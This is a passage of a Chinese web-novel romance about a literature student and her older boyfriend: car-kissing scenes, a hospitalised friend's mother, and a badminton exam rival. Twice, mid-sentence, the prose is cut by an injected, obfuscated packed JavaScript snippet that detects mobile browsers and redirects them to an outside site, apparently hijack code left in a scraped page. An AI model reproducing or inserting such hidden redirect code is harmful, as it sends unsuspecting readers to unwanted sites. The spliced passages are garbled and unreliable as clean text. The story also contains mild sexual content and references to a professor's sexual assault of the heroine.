紧接着,并未餍足的人,大概是觉得这样的位置不方面施展,索性勾着她的腰,将她抱了过去。 还没来得及控诉,她已经被移到了驾驶座那边。 坐在他的腿上。 梁舒音有点生气,低斥他,“陆祁溟,你弄疼我了。” “哪里?” 他掐着她腰的手往上,唇贴着她耳朵,“这里吗?” “我替你揉揉。” “你...” 她早就知道他这个人,不管做什么,都是一副肆意坦荡的模样。 哪怕是在亲密的事上,也丝毫不避讳什么。 但被他这样直白的撩拨,她到底还是脸颊发烫,呼吸急促了起来。 他一手放在她腰上,掌控着不让她躲闪,一手弄得她浑身瘫软,根本没力气跟他抗衡。 只能任由他为所欲为。 而她的身体,也本能地臣服在他掌心。 两人亲了好一会儿,唇和唇粘在一起,又分开,纠缠不休。 密闭空间内,旖旎的声线大张旗鼓撞入耳朵,搅拌着心跳。 直到唇都被他啃得发麻发痛,她受不住了,他才放开了她。 车里开了灯,她看得见他眼底的欲望。 其实自己也好不到哪儿去。 两人对视了两秒。 倏然间,他又扣着她后颈,含住她已经红肿的唇。 跟刚才的干烧烈火不同,他舌尖轻扫,细细品尝着甘甜的滋味。 像是怎么都亲不够。 也不知过了多久,才恋恋不舍放开她。 “跟室友吃饭很开心吧?”陆祁溟不稳的声线在耳边响起。 沙哑,性感,在黑夜莫名带了蛊惑的味道。 她知道他什么意思。 在跟她秋后算账呢。 “当然。”她挑衅地看着他。 谁让他不回信息。 结果下一秒,细腰就被他力道强劲的大手狠狠掐了下。 “你也没说要跟我一起吃晚饭。” 她闷哼一声,也顺势掐住他手腕,理直气壮瞪他一眼。 “我没说?” “嗯。” 梁舒音点头,“你说晚上过来找我,找我的意思,可以是吃饭,散步,看电影...” “也可以是...” 她瞄了眼某人被她咬红的唇角,“总之,你的话有严重的歧义。” “行啊,不愧是中文系的。” 他虎口掐住她下巴,“咬文嚼字倒是有一套。” “不过,你这么晚过来,我还是很开心的。” 陆祁溟盯着她,“有多开心?” 她没回他。 只是视线从他的眉眼往下,经过唇、下颌、最后落到他颈上突出的地方。 “陆祁溟,我想...” “试试”两个字随着她俯身的动作,落在他的侧颈上。 她偏头,凑近他的颈动脉。 在他跳动的脉搏上,落下一个吻。 轻柔的,像一片薄雪覆下。 男人僵了两秒。 压制下去的欲望顿时复苏。 他握着她的纤细腰肢,沉声道:“早有预谋了是吧?” 她没理他,继续将脑中酝酿一天的想法付诸实践。 小巧灵动的舌尖探出,轻轻扫过他的喉结。 男人发出性感低哑的闷哼。 她继续用舌尖配合薄唇,亲着那处。 很快察觉到他的反应,但她却没停下。 刚才被他强势拿捏,她不甘示弱,也想扳回一城。 干脆用牙齿去咬。 没轻没重,不知道身下的人都快爆炸了。 陆祁溟实在受不住,捏着她后颈,将人拉开。 滚动喉结,嗓音喑哑晦涩,“小妖精。” 他靠在椅背上,双手握着她的腰,将人拎远了。 仿佛她是个危险物体,一碰就会炸了似的。 “不喜欢吗?” 身上的人勾着他脖子,一脸认真,明知故问。 胸腔闷出一声低笑,他觉得自己还是小看这姑娘了。 挺要命的。 热烈纠缠后,氛围归于平静温馨。 细雨坠在宿舍楼前面的那排参天大树上,叶声窸窣,沙沙作响。 电台里放着舒缓的古筝曲。 陆祁溟抱着她,手指在她顺滑的发丝中游走,而后捻起一缕,在指尖摩挲着,缠绕着。 她刚洗过澡,身上是舒服好闻的青柠香。 车内的空气都是她的味道。 他的世界已经全然被她的气息侵占,他深吸口气,嗅闻片刻,才沉声开口。 “我明天要去一趟崇洲,那边刚稳定下来,暂时会跑得比较勤,可能接下来几天都没时间陪你了。” “嗯。” 身上的人玩着他的领带,低着头,也看不出什么表情。 窗外,一对情侣在宿舍楼下,拥抱着,依依不舍地道别。 男生说:“我明天先去图书馆占位置,早饭也给你买好,你睡醒了就过来。” 女生点头,嗓音甜甜的,“辛苦你了。” 车内的男人松开指尖的黑发,伸手去捏她的下巴,试图让她跟自己对视。 “我没办法像别人的男朋友那样,陪着你上课吃饭,还有自习。” “你会怪我吗?” 他突然觉得有些遗憾,自己为什么比她大了几岁。 如果同龄,如果在他出国读书前就相遇,说不定他就能跟她谈一场平凡但温馨的校园恋。 他会骑着自行车载她去兜风,傍晚牵着手去操场看落日,晚上一起去电影院,周末再带她去玩车。 想念了,只需几分钟,就能得到一个拥抱,或者柔软的吻。 闻言,梁舒音微微摇头,嗓音浅淡,“我知道你忙。” “而且,我也不是那种时刻需要别人陪着的人。” 这一点,他倒是相信的。 陆祁溟叹口气,掌心在她脊背上轻抚着,“我倒是希望你粘人点。” 没得到回应,他又问:“我不在的时候,会想我吗?” “不会。” 她本想逗他,结果男人也不是好惹的。 还没反应过来,心口已经被他灼热的唇烫了下。 隐隐带着刺痛。 她猝不及防哼出了声,伸手锤他,“你怎么咬人。” 还咬的是那种地方。 他握住她打人的手,交扣着,掀起眼皮看她,无赖又理直气壮地威胁她。 “你下次再嘴硬,我还咬。” 方才的触感挥之不去,身体依然在微微颤抖着。 梁舒音偏头看着窗外的雨,根本不想同他讲话。 “好了,说点正事。” 陆祁溟正了色,“陈律师那边随时联系你。” “我在虞海,自然会陪你。如果我不在,你也别怕,她人不错的。” 气还没消,她直视他,语气不耐烦,“我怕什么?” 陆祁溟低笑一声,用食指刮了刮她鼻梁,“嗯,你不怕。” 想到什么,他目光突然严肃下来,语气里充斥着疼惜,“国庆节那天,你去李明德那里,心里很害怕吧?” 早上在警局,她将一条翡翠绿的项链交给警察,那里面有摄像头,记录了李明德在清风茶社对她的不轨行为。 他那会儿才知道,原来那天情绪反常的她,究竟经历了什么噩梦般的时刻。 听她跟警察冷静道来那日的惊险时,他浑身都冒了层冷汗,心底涌出后怕的恐惧,却一直不敢开口问她这件事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13628369|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为再次提起,既是在揭她的伤疤,也是在戳他滴血的心。 但此刻听她随口而出的“怕什么”,却不由得再度心疼起那日,孤勇的她。 以为她会故作坚强,嘴硬说不怕,没想到面前的姑娘却安静了下来。 她垂下眸子,将脸贴在他胸口,轻轻吐出两个字。 “怕的。” 陆祁溟心口一滞,喉头微哽,伸手将她紧紧按入怀里。 他深吸口气,指尖在她后颈上轻抚着,冷戾眼眸盯着前方的漆黑夜色,口中却一遍遍温柔重复着。 “不怕,音音。” “有我在。” “以后都不用再怕了。” 陆祁溟的话像疗效极佳的镇定剂,让梁舒音原本浮躁的心,彻底安定下来。 那些有关李明德的恐怖丑陋的画面,再也无法伤害到她。 然而,当她心怀感激地搂紧了他时,手机却突然进了条信息。 是陈可可发来的,问她去哪儿了。 她刚才下来的急,没跟她们交代。 回复完信息后,陆祁溟轻拍她的背,“上去吧,早点休息。” 到了分别的时刻,想到接下来几天都不能见面,梁舒音也有些不舍了。 她替他理了下不成样子的领带,主动捧着他的脸,轻轻琢了下,“你也是,别太累了。” -- 11月中寻,立冬过后,天气骤冷。 每天早上醒来,外头雾蒙蒙的一片,世界像是被扔进了灰白的混沌里。 起床成了一件极其困难的事。 整个宿舍起得最早的是林语棠,六点半闹钟一响,她人还没清醒,就半眯着眼睛掀被下床,迅速洗脸刷牙。 出门前,还附带一个叫醒服务。 陈可可被她敲醒后,在床上呆坐了几分钟,嘟囔了句“好困啊,再睡两分钟吧”,就像条缺水的咸鱼,又直直栽回了温暖池塘里。 在她重新躺下时,梁舒音已经顶着黑眼圈把被子叠好了。 她下床的第一件事就是打开电脑,查看邮件。 这是她最近接的一个兼职。 五篇软文,要求高,时间紧,她还得负责对接,根据甲方不同人的意见反复修改。 耗时耗力。 但为了不薄的稿费,她只能忍了。 收到最后一篇的定稿信息,她有种解脱的感觉。 她关上电脑,起身去阳台洗漱,路过陈可可的床位,轻拍了下,“是谁说要每天早起背单词的。” 陈可可哀嚎一声,猛翻了个身,终究还是拖拖拉拉起来了。 今年过年早,考试也早,许多选修课都陆续进入考试阶段。 上午前两节没课,洗漱完后,她随便吃了点牛奶面包,将专业课的书塞进背包,就出门去图书馆了。 下楼时,手机“叮”一声,有信息进来。 是陆祁溟的。 【醒了没?】 她拍了张晨雾的照片给他,又敲下几个字。 【去图书馆了】 随即而来的,是他的电话。 班级群里恰好弹出重要消息,她看信息时,一不小心误挂了来电。 接踵而至的,便是两条醋味满满的控诉。 【嗯,兼职比男朋友重要,看书也比男朋友重要】 【总之,什么都比男朋友重要】 最近一段时间,陆祁溟在虞海和崇洲来回跑,异地时,让她每晚都要跟他视频。 她起初觉得每天视频过于夸张,下意识呢喃出来后,见他脸色不好,就改口应下了。 但即便如此,每晚能给他的时间,也就熄灯前的十几分钟。 碍于其他人在,也不怎么聊得开。 她盯着他的控诉信息,莫名觉得跟他冷酷的形象不太符合。 不过,这段时间的怠慢,的确让她略有愧疚。 她想了想,回复过去。 【你今晚有时间吗?我可以早点回来,陪你多聊会儿】 【就聊天?】 【不然呢?】 隔着屏幕,还能做什么。 【给我看看。】 看看? 视频不就是在看着对方吗? 前方一对情侣打情骂俏的声音传来。 她忽然反应过来他什么意思。 之前有次跟他视频,她刚洗了澡,忘了穿内衣。 那天她忙着给稿子收尾,把手机架在支架上,戴着耳机,边敲字边跟他聊天。 起初,看着视频里他眼神晦暗、呼吸急促的样子,还以为他感冒了。 结果他那头忽然没了人,手机像被他扔在床上,屏幕对着天花板。 直到听到他喉咙发出不同寻常的喟叹,她才猛然意识到什么。 低头一看,v领针织睡裙随着她的动作下滑了不少。 在电脑上敲字时,她下意识将身体抵在书桌上,挤压之下的饱满更是加剧了走光。 回过神来,冷风吹过,她莫名感觉脸颊发烫。 “臭流氓。” 她敲下三个字过去,刷卡进了图书馆,不理他了。 43. 刁难 下午有两节体育选修课,梁舒音这学期选的是羽毛球。 快考试了,老师没再教什么技巧,让大家两两配合,自由练习。 林语棠也选了这课,她俩考试被分在一组,自然就一起练习了。 运动强度太大,结束后林语棠后背都湿透了,怕感冒,去卫生间换衣服了。 梁舒音懒得动,瘫坐在一旁,看着场上打球的人,频频走神。 钟煦拿了瓶水过来,递给她,“看你刚才打得很猛啊,渴了吧?” 她愣了下,笑着婉拒道:“谢谢,不过不用了。” 怕对方多心,又挥了挥手头的保温杯,多解释了一句,“我带水了的。” “你别误会,我没其他意思。” 钟煦解释说:“我给大伙儿都买了水,这学期课程快结束了,大家不在一个专业一个班,以后也很难见到,就当是最后一次联络感情吧。” 被他说的有些伤感,梁舒音心念一动,也瞥了下身后的同学,的确人手一瓶水。 她顿了下,接过来,“谢谢你啊钟煦,以后...多保重。” 钟煦憨憨地挠着后脑勺,露出一排大白牙,“梁舒音,你也保重。” 下课后,她去了趟卫生间。洗手时,余光察觉旁边有道不太友好的目光,一直落在她身上。 扯了纸巾擦手,她下意识看向对方。 是体育课的同学,薛明佳。 这人在班里还挺出挑的,据说从小就学羽毛球,班里能跟她对打的,没几个。 偷瞄被抓,薛明佳也没心虚。 “梁舒音同学。” 她弯了眼角,但语气却让人莫名不舒服,“听说你很厉害,考试的时候,咱俩一组呗?” 平时都没说过几句话的人,突然找她组队,还带着挑衅的态度,梁舒音自然不会觉得是因为自己技术好。 “谢谢你的邀请,不过我不想换组。” 她朝对方礼貌一笑,将纸巾扔进垃圾篓,快步离开了卫生间。 戏剧赏析课换了时间,被调到了周三晚上,依然是代课老师来上。 至今没人知道李明德被抓的事。 教室里甚至还有了莫名的传言:李明德教授做为虞大中文系的代表,被外派到国外的孔子学院交流去了。 听到这些饱含仰慕的传言,梁舒音唇角弯起一抹笑。 极尽嘲讽的。 也是,谁能想到,那个站在八尺讲台的儒雅文人,会是一个彻头彻尾的恶魔。 学校知道他出了事,但怕带来负面影响,暂时封锁了消息。而她作为受害人,也被保护了起来。 身边的同学老师,没人知道,那个下午她经历过的那场风暴。 下课后,她不打算再上自习,收拾了书本,准备回宿舍。 她答应了今晚要把时间留给陆祁溟的。 一旁的陈可可却突然说要回趟家,跟话剧社那边请假后,她用胳膊将书本扫进书包,像离弦之箭似的,冲出了教室。 很少见她这样仓促着急的样子,梁舒音摸出手机,给她发了信息。 “遇到什么事了?” 没有回音。 回到宿舍,时间还早。 陆祁溟通常是晚上九点后才有空,等他的时间,梁舒音先去洗了澡。 从浴室出来,没多久,手机准时响起。 接起来,却不是预想中的人。 “音音,我妈晕倒了。” 陈可可带着哭腔的声音,随着电流撞进她的耳膜。 短暂的耳鸣心悸后,梁舒音迅速收拾东西,打车去了医院。 -- 从病房出来,已经是半夜12点多了。 消毒水的味道,带着熟悉的刺鼻感,浸入她的肺腑。 隔壁房间传来中年女人压抑的哭声,“爸,你想活下去吗?” “只要你想活,我哪怕卖房,也要让你活下去...” 浑身泛起一阵冷意,梁舒音没再继续听下去,她快步经过了那间病房。 走出电梯时,紧握在手里的电话,震动了起来。 “怎么样了?” 陆祁溟低沉的嗓音从遥远的地方传来,在医院大厅响起,似真似幻,令她一时恍惚。 “已经醒了,可可在照顾着,是胃痛引起的神经性晕厥。” 从学校过来的路上,她跟他交代一些基本情况,之后就一直在病房里陪着陈可可。 走廊的灯明晃晃的,让她莫名心慌。 她加快步伐,走出了市医院这栋森冷的住院大楼。 冬夜的风已经带了刺骨的凉意。 她穿了件长款针织裙和风衣,风衣是敞开的,她手都冻红了也浑然不觉,只怔怔望着夜幕。 “不过,明天还要做进一步的检查。” “嗯。” 陆祁溟听出她声音不对劲,“你很担心她母亲?” “嗯。” 她垂下眼眸,沉默半晌,“陆祁溟,人真的好脆弱。” 这句话轻飘飘的,像夜雾,钻进了陆祁溟的心脏血肉中。 牵出一丝一缕的心疼。 他知道,她应该是想到了什么旧事。 “不怕,会好的。”他轻声哄她。 她没回应。 只是仰着头,盯着眼前熟悉的路灯。地上,她的影子被拉得长长的。 曾经,很多个夜晚,就是这样过来的。 她站在这里,望着月色,祈求一个奇迹。 “音音?”那头轻柔唤她。 “我没事。” 她用手拍了下脸,试图让自己清醒,而后轻声一笑,像是在宽慰电话那头的人。 “陆祁溟,你以后别生病好不好?” 男人安静了两秒,沉重的呼吸随着电流传来。 “好。” 他的语气是那样的温柔,那样的小心翼翼,足以慰藉她此刻心里的那点空洞难捱。 挂断电话后,陆祁溟点开了手机里的日程安排。 他叫了助理过来,“明天的会推到晚上,线上开。” 赵赢原本想说些什么,但见他一副不容置疑的样子,便收住话头,忙不迭点头。 “好的,陆总。” “另外,帮我订一张明早的机票,回虞海。” 交代完后,陆祁溟拿过茶几上的烟盒,抖出一根,偏头点燃了。 窗外是崇洲市中心的夜景,流光四溢,灯火像条龙,蜿蜒在城市的脉搏。 他站在大平层的顶层,窗玻璃印出他面无表情的冷峻模样。 一身黑色睡袍,腰间系带松松垮垮,洗后的头发蓬松,刘海垂在额头上,几乎快遮住眼睛的长度,柔和了平日里的锋利。 “陆祁溟,你以后别生病好不好?” 他脑中不断循环着这句话,带了点鼻音的女声,不似平日里清冷,软糯的,像是在跟他撒娇。 在一起这短短时间里,他意识到一件事,她独立的人生里,有没有他都行。 即便跟他在一起了,她也没依赖过他。 兼职要继续做,奖学金要拿,一点也不愿意花他的钱,什么都要靠自己。 可他不行。 他不能没有她。 烟雾从他口中吁出,他唇角扯出一抹自嘲的笑。 那晚在她家,她说不相信天长地久,对两人的未来,她似乎也很没信心。 他不知道她的担忧,是否只是受到长辈失败婚姻的影响。 他当时没反驳她,但心里却很笃定,他陆祁溟这辈子,只要她一个。 -- 翌日,梁舒音一大早便跟林语棠去市医院探病。 刚走到门口,还没伸手推门,就听到陈可可和她妈在争执着什么。 “妈真的没事,你看我现在不是好好的吗,咱出院吧,别浪费钱了。” “可你昨天都晕倒了,如果我没回家,你有没有想过后果?” 陈可可几乎快哭了,“你为什么死活不愿意做检查呢,检查能要你的命啊?” “没事做什么检查...” “阿姨。” 两人敲门进去,异口同声打断了程琳。 “哎,音音和棠棠来了。” 程琳苍白的脸上顿时浮现慈爱的笑,但那笑实在脆弱,像是在强撑着,不让别人发现她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13671691|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的疲惫。 梁舒音把带来的粥放在床头,看了眼顶着双核桃眼的陈可可,又关切地望向程琳。 “程姨,您如果不做这个检查,可可她真的没法安心学习。” “是啊,早点查出问题,才能早点治好,阿姨您就做检查吧。”林语棠也帮腔说。 “阿姨真没事儿。” 程琳摆手,将保温杯放进行李袋,“昨天就是因为太忙了,没吃饭才晕倒的...” “程姨——” 梁舒音打断她,向来沉稳的人也有些着急了。 “我知道您害怕检查结果,但如果不检查,真有什么问题,岂不是耽误了治疗时机?” “可可就只有您一个亲人了,如果您出了事儿,您让她怎么办?” 这话戳中陈可可的痛处,刚收住泪的人,倏地又红了眼。 不想被看见脆弱的一面,陈可可忙转过脸去,肩膀却因为抽泣,止不住抖动起来。 林语棠见状,犹豫片刻,决定将自己的伤袒露开来。 “程姨,不瞒您说,其实我爸就是胃癌走的。如果他能早点配合检查,也许就不会...” 她故作轻松地笑道:“我爸走了,我还有爱我的奶奶,但可可就...” 听到这里,程琳眉头一皱,停住了收拾行李的动作。 陈可可其实也有奶奶,只不过太重男轻女,从她出生起,就没给过她一天好脸色。 沉默片刻,程琳终究松了口,“好好好,听你们的,做检查。” 探病后,梁舒音回了学校。 下午还有羽毛球考试,她吃完午饭,跟图书馆的周叙请了假,决定先回宿舍睡个午觉,养精蓄锐。 虞大的体育课原是一周一次,后来有学生在课上晕倒,为了提高大家的身体素质,就多加了一次。 每周两次,她的羽毛球课正好赶在周三周四,两天连上。 按照昨天练习的结果,她应该可以拿个不错的分数,然而午睡时,小腹却开始隐隐作痛。 这段时间的熬夜让她内分泌失调,大姨妈提前来了。 更雪上加霜的是,抵达场馆后,还发生了一桩让她意想不到的事。 她被换了组。 薛明佳拿着拍子,边颠球,边跟她打招呼,“你好啊,梁舒音,待会儿请多多指教。” 她不知道薛明佳是怎么说服老李换组的,但老李正忙着给考试的人记录成绩,下一组就是她们,想再换回来,怕是来不及了。 梁舒音看着薛明佳,“你能手下留情吗?” 没想到她会这么直白,薛明佳一愣,笑道:“考试而已,点到为止。” 然而,这个口口声声说着点到为止的人,却专挑刁钻的角度发球。 梁舒音满场跑,累得够呛,小腹的痛感也逐渐加剧。 去场外捡球时,薛明佳跟了过来,“钟煦亲手给的水,好喝吗?” 她顿了下,指尖捻着球,缓慢起身,“所以,你是因为钟煦才针对我的?” “你不知道?” 昨天钟煦买了水请大家喝,其余人都是自己去挑,只有这个梁舒音,是他亲自送过去的。 “我应该知道吗?”梁舒音面无表情地盯着她。 接下来的几个球,薛明佳下手更重了。 梁舒音强撑着,终于来了一记漂亮的回击,球落地后,她一手撑着小腹,微微弯了腰。 “音音,你没事吧?” 林语棠急匆匆拿着保温杯过来,又从兜里摸出包纸巾给她擦汗。 周边聚集了不少同学,都饶有兴致地观摩着这两人的考试。 显然,大家都看出来了,梁舒音被故意针对了。 “没事。” 梁舒音喝了口热水,冷静地看向场上的对手,眼神漠然,“还有三个球,快了。” 明知道不可能赢对方,她也不想摆烂。 连输两球后,最后一球,在周围的加油呐喊声中,她几乎拼尽了最后一口气。 赢了。 球拍从手中脱落,脑袋忽然一阵晕眩。 脚下踉跄时,肩膀被身后一双有力的大手,稳稳握住了。